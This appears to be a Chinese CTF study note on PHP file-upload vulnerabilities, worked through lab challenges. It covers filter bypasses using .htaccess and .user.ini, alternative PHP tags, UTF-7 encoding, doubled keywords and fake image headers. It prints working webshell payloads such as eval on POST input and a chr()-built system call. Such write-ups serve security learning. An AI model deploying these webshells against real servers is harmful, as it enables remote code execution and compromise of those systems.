一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码。
通常造成文件上传漏洞的原因是:对于上传文件的后缀名(扩展名),类型,以及内容没有做好严格的限制等等一些原因
.htaccess任意文件解析
.htaccess
文件(或称“分布式配置文件”)可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
当服务器是上传使用的是黑名单机制,但是锁死了不给上传php后缀的文件,我们可以使用.htaccess文件重新配置当前文件的解析后缀为其他后缀,导致其他后缀的文件被解析为php。导致远程代码执行。
1 | AddType application/x-httpd-php .aaa |
.htaccess文件配置信息,这里将后缀为.aaa的文件均解析为php文件
短标签绕过
假设<?php
被被过滤,同时PHP版本为5可以使用段标签绕过。
- js风格
1 | <script language="php">phpinfo();</script> |
- 短标签风格
1 | <?=phpinfo();?> |
- ASP风格
1 | <% phpinfo();%> |
- 官方默认风格
1 | <?php phpinfo(); ?> |
注:PHP7以后只支持<?=?>
和<?php ?>
题目upload2
发现不能上传php文件,且文件内容不能使用官方默认风格(上传提示:Can’t upload php file),所以尝试使用其它标签绕过
.htaccess
1
AddType application/x-httpd-php .aaa
1.aaa
1
<script language="php">@eval($_POST['cmd']);</script>
在根目录下找到flag
或者cat /flag
把上传的文件1.aaa代码改为
1 | <script language="php">system($_GET['cmd']);</script> |
在地址上加上
结果如下
特殊编码绕过
如果程序过滤了所有标签形式、或者说过滤了<?
而且PHP是在PHP7以上版本(PHP7已经将其他标签形式过淘汰,仅剩下<?php
形式),这时候可以使用.htaccess
解码对应的文件,例如可以使用UTF-7进行解码:(http://toolswebtop.com/text/process/encode/utf-7这个网站可以编码和解码UTF-7)
https://www.novel.tools/encode/UTF-7
- 题目upload4
一开始上传失败
后来发现是对文件内容进行检查,不能有<?
且不能使用其他格式(php版本为7以上)所以尝试用特殊编码绕过
- .htaccess
1 | AddType application/x-httpd-php .aaa |
- 1.aaa
1 | +ADw?php +AEA-eval(+ACQAXw-POST+AFs'cmd'+AF0)+ADs?+AD4- |
的UTF-7编码
双写绕过
假如对上传文件的内容中的php,POST,eval替换为空,那么我们可以用这样的方式绕过
题目upload3
- .htaccess
1
AddType application/x-httpd-pphphp .aaa
- 1.aaa
1
2
3<?pphphp
@eevalval($_PPOSTOST['cmd']);
?>
没双写会这样
.user.ini绕过
假如.htaccess
被过滤了,不允许上传,而上传目录下有一个php文件,则可以使用.user.ini将我们制定文件包含到我们目录下的所有PHP文件导致远程代码执行。
- 1.aaa
1 | <?php |
- .user.ini
1 | auto_prepend_file=1.aaa |
加载其它php文件的时候,会先加载
.user.ini
里的1.aaa
.htaccess文件换行绕过
上传.htaccess文件时候发现文件内容被过滤。可以使用换行绕过的方法绕过过滤。
.htaccess支持换行编写所以使用换行可以直接上传成功并解析。
- 题目upload6
上传.htaccess
时发现
过滤掉application,使用换行绕过
- .htaccess
1 | AddType appli\ |
成功
- 1.aaa
1 | <?php |
图片头绕过
上传1.aaa,被检测到文件不是图片类型,则可以通过以下方法绕过,则有可能被识别为图片,绕过检测。
- XMB文件头绕过
1 | #define test_width 16 |
- 1.aaa
1 | #define test_width 16 |
- GIF89a
1 | GIF89a |
- 1.aaa
1 | GIF89a |
动态拼接函数绕过函数过滤
对危险函数进行了过滤,不允许上传,则可以使用aiisc码拼接动态构造函数来绕过。
使用脚本快速生成指定函数
1 |
|
chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111)
- 1.aaa
1 | <?php |
题目upload7
- .htaccess
1
AddType application/x-httpd-php .aaa
- 1.aaa
上传1.aaa提示:不能含有危险函数!
使用burp suite抓包发现eval和POST被过滤了
尝试使用动态拼接函数绕过函数过滤,发现可以成功上传,然后访问该文件就可以得到flag
1
2
3
4<?php
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$a('cat /flag');
?>
1
2
3 ><?php
>$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
>echo $a;输出: system
成功得到flag
附ctf-wsacn扫描工具用法
做题前可以先扫一下看看有没有备份文件,像robots.txt
,www.zip
ctf-wscan下载地址:https://codeload.github.com/kingkaki/ctf-wscan/zip/master
- 使用扫描器扫描发现存在备份文件
可以看出存在.index.php.swp备份文件
- 下载备份文件
- 把
.index.php.swp
放到linux下使用vim -r恢复
1 | vim -r index.php.swp |
- 得到源码
1 |
|
结
笔记内容参考于两位师兄的笔记心得,XiaoLeung师兄和潜心师兄
ctf-wscan部分参考与yoyo师姐和XiaoLeung师兄